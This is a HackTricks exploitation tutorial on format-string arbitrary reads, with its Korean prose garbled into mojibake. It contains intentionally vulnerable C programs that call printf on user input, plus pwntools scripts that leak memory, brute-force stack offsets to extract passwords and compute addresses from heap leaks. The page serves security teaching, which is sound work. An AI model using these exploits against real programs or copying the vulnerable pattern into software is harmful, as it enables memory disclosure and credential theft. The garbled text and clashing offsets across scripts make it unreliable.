Format Strings - Arbitrary Read Example
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Read Binary Start
์ฝ๋
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
๋ค์๊ณผ ๊ฐ์ด ์ปดํ์ผํ์ธ์:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
์ต์คํ๋ก์
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- ์คํ์
์ 11์
๋๋ค. ์ฌ๋ฌ ๊ฐ์ A๋ฅผ ์ค์ ํ๊ณ ๋ธ๋ฃจํธ ํฌ์ฑ์ ํตํด 0์์ 50๊น์ง์ ์คํ์
์ ์ฐพ์ ๊ฒฐ๊ณผ, ์คํ์
11์์ 5๊ฐ์ ์ถ๊ฐ ๋ฌธ์(์ฐ๋ฆฌ์ ๊ฒฝ์ฐ ํ์ดํ
|)์ ํจ๊ป ์ ์ฒด ์ฃผ์๋ฅผ ์ ์ดํ ์ ์์์ ๋ฐ๊ฒฌํ์ต๋๋ค. - **
%11$p**๋ฅผ ์ฌ์ฉํ์ฌ ํจ๋ฉ์ ์ถ๊ฐํ์ฌ ์ฃผ์๊ฐ ๋ชจ๋ 0x4141414141414141์ด ๋๋๋ก ํ์ต๋๋ค. - ํฌ๋งท ๋ฌธ์์ด ํ์ด๋ก๋๋ ์ฃผ์ ์์ ์์ด์ผ ํฉ๋๋ค. printf๋ ๋ ๋ฐ์ดํธ์์ ์ฝ๊ธฐ๋ฅผ ๋ฉ์ถ๊ธฐ ๋๋ฌธ์, ์ฃผ์๋ฅผ ๋ณด๋ด๊ณ ๋์ ํฌ๋งท ๋ฌธ์์ด์ ๋ณด๋ด๋ฉด, printf๋ ๋ ๋ฐ์ดํธ๊ฐ ๋จผ์ ๋ฐ๊ฒฌ๋์ด ํฌ๋งท ๋ฌธ์์ด์ ๋๋ฌํ์ง ๋ชปํฉ๋๋ค.
- ์ ํ๋ ์ฃผ์๋ 0x00400000์ ๋๋ค. ์ด ์ฃผ์๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์๋๋ ๊ณณ์ ๋๋ค(PIE ์์).
๋น๋ฐ๋ฒํธ ์ฝ๊ธฐ
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
๋ค์๊ณผ ๊ฐ์ด ์ปดํ์ผํ์ธ์:
clang -o fs-read fs-read.c -Wno-format-security
์คํ์์ ์ฝ๊ธฐ
**stack_password**๋ ๋ก์ปฌ ๋ณ์์ด๊ธฐ ๋๋ฌธ์ ์คํ์ ์ ์ฅ๋ฉ๋๋ค. ๋ฐ๋ผ์ printf๋ฅผ ์
์ฉํ์ฌ ์คํ์ ๋ด์ฉ์ ๋ณด์ฌ์ฃผ๋ ๊ฒ๋ง์ผ๋ก ์ถฉ๋ถํฉ๋๋ค. ์ด๋ ์คํ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ถํ๊ธฐ ์ํด ์ฒ์ 100๊ฐ์ ์์น๋ฅผ BFํ๋ ์ต์คํ๋ก์์
๋๋ค:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
์ด๋ฏธ์ง์์ 10๋ฒ์งธ ์์น์์ ์คํ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ถํ ์ ์์์ ๋ณผ ์ ์์ต๋๋ค:
.png)
.png)
๋ฐ์ดํฐ ์ฝ๊ธฐ
%s ๋์ %p๋ฅผ ์ฌ์ฉํ์ฌ ๋์ผํ ์ต์คํ๋ก์์ ์คํํ๋ฉด %25$p์์ ์คํ์์ ํ ์ฃผ์๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. ๋ํ, ์ ์ถ๋ ์ฃผ์(0xaaaab7030894)๋ฅผ ํด๋น ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ์์ ๋น๋ฐ๋ฒํธ์ ์์น์ ๋น๊ตํ๋ฉด ์ฃผ์ ์ฐจ์ด๋ฅผ ์ป์ ์ ์์ต๋๋ค:
์ด์ ๋ ๋ฒ์งธ ํฌ๋งท ๋ฌธ์์ด ์ทจ์ฝ์ ์์ ์ ๊ทผํ๊ธฐ ์ํด ์คํ์์ 1๊ฐ์ ์ฃผ์๋ฅผ ์ ์ดํ๋ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
๊ทธ๋ฆฌ๊ณ ์ฌ์ฉ๋ ํจ์ค๋ฅผ ํตํด try 14์์ ์ฃผ์๋ฅผ ์ ์ดํ ์ ์์์ ํ์ธํ ์ ์์ต๋๋ค:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


